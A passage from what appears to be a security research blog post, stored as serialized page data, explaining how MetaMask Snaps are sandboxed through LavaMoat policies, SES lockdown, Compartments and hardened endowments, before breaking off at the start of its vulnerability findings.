information.",{"type":25,"tag":34,"props":38056,"children":38057},{},[38058],{"type":31,"value":38059},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":25,"tag":34,"props":38061,"children":38062},{},[38063,38065,38072],{"type":31,"value":38064},"This is how a Policy file related to the iframes ",{"type":25,"tag":71,"props":38066,"children":38069},{"href":38067,"rel":38068},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[75],[38070],{"type":31,"value":38071},"looks",{"type":31,"value":5997},{"type":25,"tag":191,"props":38074,"children":38076},{"className":2931,"code":38075,"language":2933,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[38077],{"type":25,"tag":115,"props":38078,"children":38079},{"__ignoreMap":7},[38080,38093,38105,38125,38145,38165,38185,38205,38225,38245,38262,38270,38282,38302,38318,38325],{"type":25,"tag":201,"props":38081,"children":38082},{"class":203,"line":204},[38083,38088],{"type":25,"tag":201,"props":38084,"children":38085},{"style":267},[38086],{"type":31,"value":38087},"\"@metamask/post-message-stream\"",{"type":25,"tag":201,"props":38089,"children":38090},{"style":220},[38091],{"type":31,"value":38092},": {\n",{"type":25,"tag":201,"props":38094,"children":38095},{"class":203,"line":226},[38096,38101],{"type":25,"tag":201,"props":38097,"children":38098},{"style":246},[38099],{"type":31,"value":38100},"      \"globals\"",{"type":25,"tag":201,"props":38102,"children":38103},{"style":220},[38104],{"type":31,"value":38092},{"type":25,"tag":201,"props":38106,"children":38107},{"class":203,"line":278},[38108,38113,38117,38121],{"type":25,"tag":201,"props":38109,"children":38110},{"style":246},[38111],{"type":31,"value":38112},"        \"MessageEvent.prototype\"",{"type":25,"tag":201,"props":38114,"children":38115},{"style":220},[38116],{"type":31,"value":2957},{"type":25,"tag":201,"props":38118,"children":38119},{"style":208},[38120],{"type":31,"value":5497},{"type":25,"tag":201,"props":38122,"children":38123},{"style":220},[38124],{"type":31,"value":547},{"type":25,"tag":201,"props":38126,"children":38127},{"class":203,"line":311},[38128,38133,38137,38141],{"type":25,"tag":201,"props":38129,"children":38130},{"style":246},[38131],{"type":31,"value":38132},"        \"WorkerGlobalScope\"",{"type":25,"tag":201,"props":38134,"children":38135},{"style":220},[38136],{"type":31,"value":2957},{"type":25,"tag":201,"props":38138,"children":38139},{"style":208},[38140],{"type":31,"value":5497},{"type":25,"tag":201,"props":38142,"children":38143},{"style":220},[38144],{"type":31,"value":547},{"type":25,"tag":201,"props":38146,"children":38147},{"class":203,"line":330},[38148,38153,38157,38161],{"type":25,"tag":201,"props":38149,"children":38150},{"style":246},[38151],{"type":31,"value":38152},"        \"addEventListener\"",{"type":25,"tag":201,"props":38154,"children":38155},{"style":220},[38156],{"type":31,"value":2957},{"type":25,"tag":201,"props":38158,"children":38159},{"style":208},[38160],{"type":31,"value":5497},{"type":25,"tag":201,"props":38162,"children":38163},{"style":220},[38164],{"type":31,"value":547},{"type":25,"tag":201,"props":38166,"children":38167},{"class":203,"line":397},[38168,38173,38177,38181],{"type":25,"tag":201,"props":38169,"children":38170},{"style":246},[38171],{"type":31,"value":38172},"        \"browser\"",{"type":25,"tag":201,"props":38174,"children":38175},{"style":220},[38176],{"type":31,"value":2957},{"type":25,"tag":201,"props":38178,"children":38179},{"style":208},[38180],{"type":31,"value":5497},{"type":25,"tag":201,"props":38182,"children":38183},{"style":220},[38184],{"type":31,"value":547},{"type":25,"tag":201,"props":38186,"children":38187},{"class":203,"line":437},[38188,38193,38197,38201],{"type":25,"tag":201,"props":38189,"children":38190},{"style":246},[38191],{"type":31,"value":38192},"        \"chrome\"",{"type":25,"tag":201,"props":38194,"children":38195},{"style":220},[38196],{"type":31,"value":2957},{"type":25,"tag":201,"props":38198,"children":38199},{"style":208},[38200],{"type":31,"value":5497},{"type":25,"tag":201,"props":38202,"children":38203},{"style":220},[38204],{"type":31,"value":547},{"type":25,"tag":201,"props":38206,"children":38207},{"class":203,"line":464},[38208,38213,38217,38221],{"type":25,"tag":201,"props":38209,"children":38210},{"style":246},[38211],{"type":31,"value":38212},"        \"location.origin\"",{"type":25,"tag":201,"props":38214,"children":38215},{"style":220},[38216],{"type":31,"value":2957},{"type":25,"tag":201,"props":38218,"children":38219},{"style":208},[38220],{"type":31,"value":5497},{"type":25,"tag":201,"props":38222,"children":38223},{"style":220},[38224],{"type":31,"value":547},{"type":25,"tag":201,"props":38226,"children":38227},{"class":203,"line":490},[38228,38233,38237,38241],{"type":25,"tag":201,"props":38229,"children":38230},{"style":246},[38231],{"type":31,"value":38232},"        \"postMessage\"",{"type":25,"tag":201,"props":38234,"children":38235},{"style":220},[38236],{"type":31,"value":2957},{"type":25,"tag":201,"props":38238,"children":38239},{"style":208},[38240],{"type":31,"value":5497},{"type":25,"tag":201,"props":38242,"children":38243},{"style":220},[38244],{"type":31,"value":547},{"type":25,"tag":201,"props":38246,"children":38247},{"class":203,"line":499},[38248,38253,38257],{"type":25,"tag":201,"props":38249,"children":38250},{"style":246},[38251],{"type":31,"value":38252},"        \"removeEventListener\"",{"type":25,"tag":201,"props":38254,"children":38255},{"style":220},[38256],{"type":31,"value":2957},{"type":25,"tag":201,"props":38258,"children":38259},{"style":208},[38260],{"type":31,"value":38261},"true\n",{"type":25,"tag":201,"props":38263,"children":38264},{"class":203,"line":522},[38265],{"type":25,"tag":201,"props":38266,"children":38267},{"style":220},[38268],{"type":31,"value":38269},"      },\n",{"type":25,"tag":201,"props":38271,"children":38272},{"class":203,"line":531},[38273,38278],{"type":25,"tag":201,"props":38274,"children":38275},{"style":246},[38276],{"type":31,"value":38277},"      \"packages\"",{"type":25,"tag":201,"props":38279,"children":38280},{"style":220},[38281],{"type":31,"value":38092},{"type":25,"tag":201,"props":38283,"children":38284},{"class":203,"line":550},[38285,38290,38294,38298],{"type":25,"tag":201,"props":38286,"children":38287},{"style":246},[38288],{"type":31,"value":38289},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":25,"tag":201,"props":38291,"children":38292},{"style":220},[38293],{"type":31,"value":2957},{"type":25,"tag":201,"props":38295,"children":38296},{"style":208},[38297],{"type":31,"value":5497},{"type":25,"tag":201,"props":38299,"children":38300},{"style":220},[38301],{"type":31,"value":547},{"type":25,"tag":201,"props":38303,"children":38304},{"class":203,"line":563},[38305,38310,38314],{"type":25,"tag":201,"props":38306,"children":38307},{"style":246},[38308],{"type":31,"value":38309},"        \"@metamask/post-message-stream>readable-stream\"",{"type":25,"tag":201,"props":38311,"children":38312},{"style":220},[38313],{"type":31,"value":2957},{"type":25,"tag":201,"props":38315,"children":38316},{"style":208},[38317],{"type":31,"value":38261},{"type":25,"tag":201,"props":38319,"children":38320},{"class":203,"line":572},[38321],{"type":25,"tag":201,"props":38322,"children":38323},{"style":220},[38324],{"type":31,"value":14166},{"type":25,"tag":201,"props":38326,"children":38327},{"class":203,"line":590},[38328],{"type":25,"tag":201,"props":38329,"children":38330},{"style":220},[38331],{"type":31,"value":4861},{"type":25,"tag":34,"props":38333,"children":38334},{},[38335,38337,38343,38345,38351,38353,38359,38361,38367,38368,38374],{"type":31,"value":38336},"One crucial aspect of the policy, apart from the ",{"type":25,"tag":115,"props":38338,"children":38340},{"className":38339},[],[38341],{"type":31,"value":38342},"globals",{"type":31,"value":38344}," section, is the ",{"type":25,"tag":115,"props":38346,"children":38348},{"className":38347},[],[38349],{"type":31,"value":38350},"packages",{"type":31,"value":38352}," segment. This section permits the ",{"type":25,"tag":115,"props":38354,"children":38356},{"className":38355},[],[38357],{"type":31,"value":38358},"@metamask/post-message-stream",{"type":31,"value":38360},"package to exclusively interact with the package ",{"type":25,"tag":115,"props":38362,"children":38364},{"className":38363},[],[38365],{"type":31,"value":38366},"@metamask/utils",{"type":31,"value":12493},{"type":25,"tag":115,"props":38369,"children":38371},{"className":38370},[],[38372],{"type":31,"value":38373},"readable-stream",{"type":31,"value":38375},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":25,"tag":34,"props":38377,"children":38378},{},[38379,38381,38387],{"type":31,"value":38380},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":25,"tag":115,"props":38382,"children":38384},{"className":38383},[],[38385],{"type":31,"value":38386},"lockdown",{"type":31,"value":38388}," function to freeze all javascript builtins prototypes.",{"type":25,"tag":40,"props":38390,"children":38392},{"id":38391},"secure-ecmascript-ses-sandbox-layer-3",[38393],{"type":31,"value":38394},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":25,"tag":34,"props":38396,"children":38397},{},[38398,38400,38407],{"type":31,"value":38399},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":25,"tag":71,"props":38401,"children":38404},{"href":38402,"rel":38403},"https://github.com/endojs/endo/tree/master/packages/ses",[75],[38405],{"type":31,"value":38406},"Secure EcmaScript (SES)",{"type":31,"value":38408}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":25,"tag":20392,"props":38410,"children":38412},{"id":38411},"ses-fundamentals",[38413],{"type":31,"value":38414},"SES Fundamentals",{"type":25,"tag":38416,"props":38417,"children":38418},"h5",{"id":38386},[38419],{"type":31,"value":38420},"Lockdown",{"type":25,"tag":34,"props":38422,"children":38423},{},[38424,38426,38432],{"type":31,"value":38425},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":25,"tag":115,"props":38427,"children":38429},{"className":38428},[],[38430],{"type":31,"value":38431},"lockdown()",{"type":31,"value":38433}," function, which protects javascript objects against some attacks, mainly:",{"type":25,"tag":6944,"props":38435,"children":38436},{},[38437,38450],{"type":25,"tag":6948,"props":38438,"children":38439},{},[38440,38442,38448],{"type":31,"value":38441},"Prototype Pollution\nLockdown executes ",{"type":25,"tag":115,"props":38443,"children":38445},{"className":38444},[],[38446],{"type":31,"value":38447},"Object.freeze",{"type":31,"value":38449}," against all javascript builtins prototypes, preventing these attacks.",{"type":25,"tag":6948,"props":38451,"children":38452},{},[38453,38455,38461,38463,38469],{"type":31,"value":38454},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":25,"tag":115,"props":38456,"children":38458},{"className":38457},[],[38459],{"type":31,"value":38460},"trace",{"type":31,"value":38462}," attribute in an ",{"type":25,"tag":115,"props":38464,"children":38466},{"className":38465},[],[38467],{"type":31,"value":38468},"Error",{"type":31,"value":38470}," object, which contains the stack trace of the error.",{"type":25,"tag":38416,"props":38472,"children":38474},{"id":38473},"compartment",[38475],{"type":31,"value":38476},"Compartment",{"type":25,"tag":34,"props":38478,"children":38479},{},[38480,38482,38488,38490,38495],{"type":31,"value":38481},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":25,"tag":115,"props":38483,"children":38485},{"className":38484},[],[38486],{"type":31,"value":38487},"globalThis",{"type":31,"value":38489}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":25,"tag":115,"props":38491,"children":38493},{"className":38492},[],[38494],{"type":31,"value":38487},{"type":31,"value":38496}," context is incapable of tampering with security.",{"type":25,"tag":191,"props":38498,"children":38500},{"className":36683,"code":38499,"language":36685,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[38501],{"type":25,"tag":115,"props":38502,"children":38503},{"__ignoreMap":7},[38504,38533,38566],{"type":25,"tag":201,"props":38505,"children":38506},{"class":203,"line":204},[38507,38511,38516,38520,38524,38529],{"type":25,"tag":201,"props":38508,"children":38509},{"style":208},[38510],{"type":31,"value":4074},{"type":25,"tag":201,"props":38512,"children":38513},{"style":246},[38514],{"type":31,"value":38515}," c",{"type":25,"tag":201,"props":38517,"children":38518},{"style":261},[38519],{"type":31,"value":413},{"type":25,"tag":201,"props":38521,"children":38522},{"style":208},[38523],{"type":31,"value":828},{"type":25,"tag":201,"props":38525,"children":38526},{"style":214},[38527],{"type":31,"value":38528}," Compartment",{"type":25,"tag":201,"props":38530,"children":38531},{"style":220},[38532],{"type":31,"value":1985},{"type":25,"tag":201,"props":38534,"children":38535},{"class":203,"line":226},[38536,38540,38544,38548,38552,38557,38561],{"type":25,"tag":201,"props":38537,"children":38538},{"style":246},[38539],{"type":31,"value":4652},{"type":25,"tag":201,"props":38541,"children":38542},{"style":220},[38543],{"type":31,"value":80},{"type":25,"tag":201,"props":38545,"children":38546},{"style":246},[38547],{"type":31,"value":38487},{"type":25,"tag":201,"props":38549,"children":38550},{"style":261},[38551],{"type":31,"value":264},{"type":25,"tag":201,"props":38553,"children":38554},{"style":246},[38555],{"type":31,"value":38556}," globalThis",{"type":25,"tag":201,"props":38558,"children":38559},{"style":220},[38560],{"type":31,"value":18723},{"type":25,"tag":201,"props":38562,"children":38563},{"style":4497},[38564],{"type":31,"value":38565},"// false\n",{"type":25,"tag":201,"props":38567,"children":38568},{"class":203,"line":278},[38569,38573,38577,38581,38585,38590,38594,38599,38603],{"type":25,"tag":201,"props":38570,"children":38571},{"style":246},[38572],{"type":31,"value":4652},{"type":25,"tag":201,"props":38574,"children":38575},{"style":220},[38576],{"type":31,"value":80},{"type":25,"tag":201,"props":38578,"children":38579},{"style":246},[38580],{"type":31,"value":38487},{"type":25,"tag":201,"props":38582,"children":38583},{"style":220},[38584],{"type":31,"value":80},{"type":25,"tag":201,"props":38586,"children":38587},{"style":246},[38588],{"type":31,"value":38589},"JSON",{"type":25,"tag":201,"props":38591,"children":38592},{"style":261},[38593],{"type":31,"value":264},{"type":25,"tag":201,"props":38595,"children":38596},{"style":246},[38597],{"type":31,"value":38598}," JSON",{"type":25,"tag":201,"props":38600,"children":38601},{"style":220},[38602],{"type":31,"value":18723},{"type":25,"tag":201,"props":38604,"children":38605},{"style":4497},[38606],{"type":31,"value":38607},"// true\n",{"type":25,"tag":34,"props":38609,"children":38610},{},[38611,38613,38619,38621,38627,38629,38634],{"type":31,"value":38612},"Compartment also changes the behaviour of evaluators functions such as ",{"type":25,"tag":115,"props":38614,"children":38616},{"className":38615},[],[38617],{"type":31,"value":38618},"eval",{"type":31,"value":38620}," and the ",{"type":25,"tag":115,"props":38622,"children":38624},{"className":38623},[],[38625],{"type":31,"value":38626},"Function",{"type":31,"value":38628}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":25,"tag":115,"props":38630,"children":38632},{"className":38631},[],[38633],{"type":31,"value":38487},{"type":31,"value":80},{"type":25,"tag":38416,"props":38636,"children":38638},{"id":38637},"endowments",[38639],{"type":31,"value":38640},"Endowments",{"type":25,"tag":34,"props":38642,"children":38643},{},[38644,38646,38650,38652,38657],{"type":31,"value":38645},"While creating a Compartment, it is possible to specify ",{"type":25,"tag":65,"props":38647,"children":38648},{},[38649],{"type":31,"value":38637},{"type":31,"value":38651},". These endowments constitute objects that become accessible within the Compartment's ",{"type":25,"tag":115,"props":38653,"children":38655},{"className":38654},[],[38656],{"type":31,"value":38487},{"type":31,"value":38658},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":25,"tag":34,"props":38660,"children":38661},{},[38662,38664,38670],{"type":31,"value":38663},"In addition, SES provides the ",{"type":25,"tag":115,"props":38665,"children":38667},{"className":38666},[],[38668],{"type":31,"value":38669},"harden()",{"type":31,"value":38671}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":25,"tag":20392,"props":38673,"children":38675},{"id":38674},"setting-up-snaps-execution-env",[38676],{"type":31,"value":38677},"Setting up Snaps Execution Env",{"type":25,"tag":34,"props":38679,"children":38680},{},[38681],{"type":31,"value":38682},"When starting a snap, the setup follows these steps:",{"type":25,"tag":6944,"props":38684,"children":38685},{},[38686],{"type":25,"tag":6948,"props":38687,"children":38688},{},[38689],{"type":25,"tag":1252,"props":38690,"children":38691},{},[38692,38694],{"type":31,"value":38693},"Create endowments based on snap ",{"type":25,"tag":71,"props":38695,"children":38698},{"href":38696,"rel":38697},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[75],[38699],{"type":31,"value":38700},"permissions",{"type":25,"tag":191,"props":38702,"children":38704},{"className":36683,"code":38703,"language":36685,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[38705],{"type":25,"tag":115,"props":38706,"children":38707},{"__ignoreMap":7},[38708,38758,38770,38781,38793,38805],{"type":25,"tag":201,"props":38709,"children":38710},{"class":203,"line":204},[38711,38715,38719,38723,38727,38732,38736,38741,38745,38749,38754],{"type":25,"tag":201,"props":38712,"children":38713},{"style":208},[38714],{"type":31,"value":4074},{"type":25,"tag":201,"props":38716,"children":38717},{"style":220},[38718],{"type":31,"value":11090},{"type":25,"tag":201,"props":38720,"children":38721},{"style":246},[38722],{"type":31,"value":38637},{"type":25,"tag":201,"props":38724,"children":38725},{"style":220},[38726],{"type":31,"value":919},{"type":25,"tag":201,"props":38728,"children":38729},{"style":246},[38730],{"type":31,"value":38731},"teardown",{"type":25,"tag":201,"props":38733,"children":38734},{"style":220},[38735],{"type":31,"value":2957},{"type":25,"tag":201,"props":38737,"children":38738},{"style":246},[38739],{"type":31,"value":38740},"endowmentTeardown",{"type":25,"tag":201,"props":38742,"children":38743},{"style":220},[38744],{"type":31,"value":37272},{"type":25,"tag":201,"props":38746,"children":38747},{"style":261},[38748],{"type":31,"value":1383},{"type":25,"tag":201,"props":38750,"children":38751},{"style":214},[38752],{"type":31,"value":38753}," createEndowments",{"type":25,"tag":201,"props":38755,"children":38756},{"style":220},[38757],{"type":31,"value":4970},{"type":25,"tag":201,"props":38759,"children":38760},{"class":203,"line":226},[38761,38766],{"type":25,"tag":201,"props":38762,"children":38763},{"style":246},[38764],{"type":31,"value":38765},"    snap",{"type":25,"tag":201,"props":38767,"children":38768},{"style":220},[38769],{"type":31,"value":547},{"type":25,"tag":201,"props":38771,"children":38772},{"class":203,"line":278},[38773,38777],{"type":25,"tag":201,"props":38774,"children":38775},{"style":246},[38776],{"type":31,"value":336},{"type":25,"tag":201,"props":38778,"children":38779},{"style":220},[38780],{"type":31,"value":547},{"type":25,"tag":201,"props":38782,"children":38783},{"class":203,"line":311},[38784,38789],{"type":25,"tag":201,"props":38785,"children":38786},{"style":246},[38787],{"type":31,"value":38788},"    snapId",{"type":25,"tag":201,"props":38790,"children":38791},{"style":220},[38792],{"type":31,"value":547},{"type":25,"tag":201,"props":38794,"children":38795},{"class":203,"line":330},[38796,38801],{"type":25,"tag":201,"props":38797,"children":38798},{"style":246},[38799],{"type":31,"value":38800},"    _endowments",{"type":25,"tag":201,"props":38802,"children":38803},{"style":220},[38804],{"type":31,"value":547},{"type":25,"tag":201,"props":38806,"children":38807},{"class":203,"line":397},[38808],{"type":25,"tag":201,"props":38809,"children":38810},{"style":220},[38811],{"type":31,"value":308},{"type":25,"tag":34,"props":38813,"children":38814},{},[38815],{"type":31,"value":38816},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":25,"tag":34,"props":38818,"children":38819},{},[38820,38822,38828,38830,38836],{"type":31,"value":38821},"One clear example is the ",{"type":25,"tag":115,"props":38823,"children":38825},{"className":38824},[],[38826],{"type":31,"value":38827},"endowment:network-access",{"type":31,"value":38829}," permission, that adds the ",{"type":25,"tag":115,"props":38831,"children":38833},{"className":38832},[],[38834],{"type":31,"value":38835},"fetch()",{"type":31,"value":38837}," function to the endowments.",{"type":25,"tag":34,"props":38839,"children":38840},{},[38841,38843,38849],{"type":31,"value":38842},"All endowments are protected with the ",{"type":25,"tag":115,"props":38844,"children":38846},{"className":38845},[],[38847],{"type":31,"value":38848},"harden",{"type":31,"value":38850}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":25,"tag":6944,"props":38852,"children":38853},{"start":226},[38854],{"type":25,"tag":6948,"props":38855,"children":38856},{},[38857],{"type":25,"tag":1252,"props":38858,"children":38859},{},[38860,38862],{"type":31,"value":38861},"Create the snap ",{"type":25,"tag":71,"props":38863,"children":38866},{"href":38864,"rel":38865},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[75],[38867],{"type":31,"value":38473},{"type":25,"tag":191,"props":38869,"children":38871},{"className":36683,"code":38870,"language":36685,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[38872],{"type":25,"tag":115,"props":38873,"children":38874},{"__ignoreMap":7},[38875,38903,38919,38936,38961],{"type":25,"tag":201,"props":38876,"children":38877},{"class":203,"line":204},[38878,38882,38887,38891,38895,38899],{"type":25,"tag":201,"props":38879,"children":38880},{"style":208},[38881],{"type":31,"value":4074},{"type":25,"tag":201,"props":38883,"children":38884},{"style":246},[38885],{"type":31,"value":38886}," compartment",{"type":25,"tag":201,"props":38888,"children":38889},{"style":261},[38890],{"type":31,"value":413},{"type":25,"tag":201,"props":38892,"children":38893},{"style":208},[38894],{"type":31,"value":828},{"type":25,"tag":201,"props":38896,"children":38897},{"style":214},[38898],{"type":31,"value":38528},{"type":25,"tag":201,"props":38900,"children":38901},{"style":220},[38902],{"type":31,"value":4238},{"type":25,"tag":201,"props":38904,"children":38905},{"class":203,"line":226},[38906,38911,38915],{"type":25,"tag":201,"props":38907,"children":38908},{"style":261},[38909],{"type":31,"value":38910},"    ...",{"type":25,"tag":201,"props":38912,"children":38913},{"style":246},[38914],{"type":31,"value":38637},{"type":25,"tag":201,"props":38916,"children":38917},{"style":220},[38918],{"type":31,"value":547},{"type":25,"tag":201,"props":38920,"children":38921},{"class":203,"line":278},[38922,38927,38932],{"type":25,"tag":201,"props":38923,"children":38924},{"style":246},[38925],{"type":31,"value":38926},"    module:",{"type":25,"tag":201,"props":38928,"children":38929},{"style":246},[38930],{"type":31,"value":38931}," snapModule",{"type":25,"tag":201,"props":38933,"children":38934},{"style":220},[38935],{"type":31,"value":547},{"type":25,"tag":201,"props":38937,"children":38938},{"class":203,"line":311},[38939,38944,38948,38952,38957],{"type":25,"tag":201,"props":38940,"children":38941},{"style":246},[38942],{"type":31,"value":38943},"    exports:",{"type":25,"tag":201,"props":38945,"children":38946},{"style":246},[38947],{"type":31,"value":38931},{"type":25,"tag":201,"props":38949,"children":38950},{"style":220},[38951],{"type":31,"value":80},{"type":25,"tag":201,"props":38953,"children":38954},{"style":246},[38955],{"type":31,"value":38956},"exports",{"type":25,"tag":201,"props":38958,"children":38959},{"style":220},[38960],{"type":31,"value":547},{"type":25,"tag":201,"props":38962,"children":38963},{"class":203,"line":330},[38964],{"type":25,"tag":201,"props":38965,"children":38966},{"style":220},[38967],{"type":31,"value":4286},{"type":25,"tag":34,"props":38969,"children":38970},{},[38971,38973,38979,38980,38985,38987,38992],{"type":31,"value":38972},"Note: ",{"type":25,"tag":115,"props":38974,"children":38976},{"className":38975},[],[38977],{"type":31,"value":38978},"module",{"type":31,"value":12493},{"type":25,"tag":115,"props":38981,"children":38983},{"className":38982},[],[38984],{"type":31,"value":38956},{"type":31,"value":38986}," are passed as endowments, but without being ",{"type":25,"tag":65,"props":38988,"children":38989},{},[38990],{"type":31,"value":38991},"hardened",{"type":31,"value":38993},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":25,"tag":6944,"props":38995,"children":38996},{"start":278},[38997],{"type":25,"tag":6948,"props":38998,"children":38999},{},[39000],{"type":25,"tag":1252,"props":39001,"children":39002},{},[39003,39005],{"type":31,"value":39004},"Evaluate the snap code inside the ",{"type":25,"tag":71,"props":39006,"children":39009},{"href":39007,"rel":39008},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[75],[39010],{"type":31,"value":38473},{"type":25,"tag":191,"props":39012,"children":39014},{"className":36683,"code":39013,"language":36685,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[39015],{"type":25,"tag":115,"props":39016,"children":39017},{"__ignoreMap":7},[39018,39059,39089,39126],{"type":25,"tag":201,"props":39019,"children":39020},{"class":203,"line":204},[39021,39025,39029,39033,39038,39042,39046,39051,39055],{"type":25,"tag":201,"props":39022,"children":39023},{"style":230},[39024],{"type":31,"value":1845},{"type":25,"tag":201,"props":39026,"children":39027},{"style":208},[39028],{"type":31,"value":36786},{"type":25,"tag":201,"props":39030,"children":39031},{"style":220},[39032],{"type":31,"value":80},{"type":25,"tag":201,"props":39034,"children":39035},{"style":214},[39036],{"type":31,"value":39037},"executeInSnapContext",{"type":25,"tag":201,"props":39039,"children":39040},{"style":220},[39041],{"type":31,"value":298},{"type":25,"tag":201,"props":39043,"children":39044},{"style":246},[39045],{"type":31,"value":37090},{"type":25,"tag":201,"props":39047,"children":39048},{"style":220},[39049],{"type":31,"value":39050},", () ",{"type":25,"tag":201,"props":39052,"children":39053},{"style":208},[39054],{"type":31,"value":390},{"type":25,"tag":201,"props":39056,"children":39057},{"style":220},[39058],{"type":31,"value":327},{"type":25,"tag":201,"props":39060,"children":39061},{"class":203,"line":226},[39062,39067,39071,39076,39080,39085],{"type":25,"tag":201,"props":39063,"children":39064},{"style":246},[39065],{"type":31,"value":39066},"    compartment",{"type":25,"tag":201,"props":39068,"children":39069},{"style":220},[39070],{"type":31,"value":80},{"type":25,"tag":201,"props":39072,"children":39073},{"style":214},[39074],{"type":31,"value":39075},"evaluate",{"type":25,"tag":201,"props":39077,"children":39078},{"style":220},[39079],{"type":31,"value":298},{"type":25,"tag":201,"props":39081,"children":39082},{"style":246},[39083],{"type":31,"value":39084},"sourceCode",{"type":25,"tag":201,"props":39086,"children":39087},{"style":220},[39088],{"type":31,"value":308},{"type":25,"tag":201,"props":39090,"children":39091},{"class":203,"line":278},[39092,39096,39100,39105,39109,39113,39117,39122],{"type":25,"tag":201,"props":39093,"children":39094},{"style":208},[39095],{"type":31,"value":37134},{"type":25,"tag":201,"props":39097,"children":39098},{"style":220},[39099],{"type":31,"value":80},{"type":25,"tag":201,"props":39101,"children":39102},{"style":214},[39103],{"type":31,"value":39104},"registerSnapExports",{"type":25,"tag":201,"props":39106,"children":39107},{"style":220},[39108],{"type":31,"value":298},{"type":25,"tag":201,"props":39110,"children":39111},{"style":246},[39112],{"type":31,"value":37090},{"type":25,"tag":201,"props":39114,"children":39115},{"style":220},[39116],{"type":31,"value":919},{"type":25,"tag":201,"props":39118,"children":39119},{"style":246},[39120],{"type":31,"value":39121},"snapModule",{"type":25,"tag":201,"props":39123,"children":39124},{"style":220},[39125],{"type":31,"value":308},{"type":25,"tag":201,"props":39127,"children":39128},{"class":203,"line":311},[39129],{"type":25,"tag":201,"props":39130,"children":39131},{"style":220},[39132],{"type":31,"value":4286},{"type":25,"tag":34,"props":39134,"children":39135},{},[39136,39138,39144,39145,39151,39152,39158],{"type":31,"value":39137},"According to the documentation, the snap must contain one of the following function exports: ",{"type":25,"tag":115,"props":39139,"children":39141},{"className":39140},[],[39142],{"type":31,"value":39143},"onRpcRequest",{"type":31,"value":919},{"type":25,"tag":115,"props":39146,"children":39148},{"className":39147},[],[39149],{"type":31,"value":39150},"onTransaction",{"type":31,"value":14636},{"type":25,"tag":115,"props":39153,"children":39155},{"className":39154},[],[39156],{"type":31,"value":39157},"onCronjob",{"type":31,"value":80},{"type":25,"tag":34,"props":39160,"children":39161},{},[39162,39164,39169],{"type":31,"value":39163},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":25,"tag":115,"props":39165,"children":39167},{"className":39166},[],[39168],{"type":31,"value":38487},{"type":31,"value":39170}," environment of that Compartment.",{"type":25,"tag":34,"props":39172,"children":39173},{},[39174],{"type":31,"value":39175},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":25,"tag":26,"props":39177,"children":39179},{"id":39178},"vulnerability-research",[39180],{"type":31,"value":39181},"Vulnerability research",{"type":25,"tag":40,"props":39183,"children":39185},{"id":39184},"possible-attacks",[39186],{"type":31,"value":39187},"Possible attacks",{"type":25,"tag":34,"props":39189,"children":39190},{},[39191],{"type":31,"value":39192},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":25,"tag":18183,"props":39194,"children":39195},{},[39196,39201,39206,39211],{"type":25,"tag":6948,"props":39197,"children":39198},{},[39199],{"type":31,"value":39200},"Broken SES Container isolation",{"type":25,"tag":6948,"props":39202,"children":39203},{},[39204],{"type":31,"value":39205},"Insecure endowments in Containers",{"type":25,"tag":6948,"props":39207,"children":39208},{},[39209],{"type":31,"value":39210},"Incorrect RPC permission checks",{"type":25,"tag":6948,"props":39212,"children":39213},{},[39214],{"type":31,"value":39215},"Insecure snap installation/update",{"type":25,"tag":34,"props":39217,"children":39218},{},[39219],{"type":31,"value":39220},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":25,"tag":34,"props":39222,"children":39223},{},[39224],{"type":31,"value":39225},"To understand the 